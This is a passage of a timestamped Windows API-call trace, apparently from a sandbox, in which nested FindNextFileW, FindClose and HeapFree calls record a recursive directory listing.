lpFindFileData=0x2e5e420) returned 1 [0287.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0287.997] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0287.997] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0287.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0287.997] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0287.997] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0287.997] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0287.997] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0288.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.015] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.016] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.017] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.024] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.024] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.025] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.026] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.027] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.027] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.027] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.028] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.028] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.028] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.379] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.389] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.390] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.390] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.390] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.391] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.391] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.391] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.391] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.391] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.392] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.392] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.392] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.392] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.392] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.392] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.392] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.393] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.393] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.393] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.393] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.393] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.393] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.393] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0288.394] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0288.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0288.394] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0288.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0288.394] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0288.394] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0288.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0288.395] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0288.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.398] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0288.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.398] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0288.398] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0288.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0288.398] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0288.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.398] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0288.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0288.454] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0288.454] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0288.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0288.454] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0288.454] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.454] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0288.469] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.469] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.470] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.470] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.471] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.471] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.472] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.472] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.472] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.473] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.473] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.474] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.474] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.474] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.475] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.475] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.475] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.476] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.476] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.476] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.476] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.477] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0288.477] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0288.667] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.667] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0288.669] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0288.669] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5dcac | out: lpFindFileData=0x2e5dcac) returned 1 [0288.669] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0288.669] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5dcac | out: lpFindFileData=0x2e5dcac) returned 0 [0288.669] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0288.669] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4691f80 | out: hHeap=0x640000) returned 1 [0288.670] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0288.670] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0288.670] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.670] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0288.670] FindClose (in: hFindFile=0x380bc60 | out: hFindFile=0x380bc60) returned 1 [0288.670] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0288.672] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0288.672] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0288.672] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4681f78 | out: hHeap=0x640000) returned 1 [0288.672] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0288.675] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.801] FindNextFileW (in: hFindFile=0x65b290, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0288.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0288.974] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0288.974] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0288.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0288.974] FindNextFileW (in: hFindFile=0x65ad90, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0288.974] FindClose (in: hFindFile=0x65ad90 | out: hFindFile=0x65ad90) returned 1 [0288.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0288.974] FindNextFileW (in: hFindFile=0x65b290, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.184] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.184] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.185] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.185] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.186] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.187] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.187] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.188] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.189] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.189] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.189] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.190] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.190] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.191] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.191] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.192] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.192] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.192] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.193] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.193] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.194] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.194] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.195] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.195] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.195] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.196] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.196] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.197] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.197] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.197] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.198] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.198] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.199] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.199] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.200] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.200] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.200] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.201] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.201] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.202] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.202] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.202] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.203] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.203] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.203] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.248] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.249] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.249] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.249] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.249] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0289.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.249] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0289.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.249] FindNextFileW 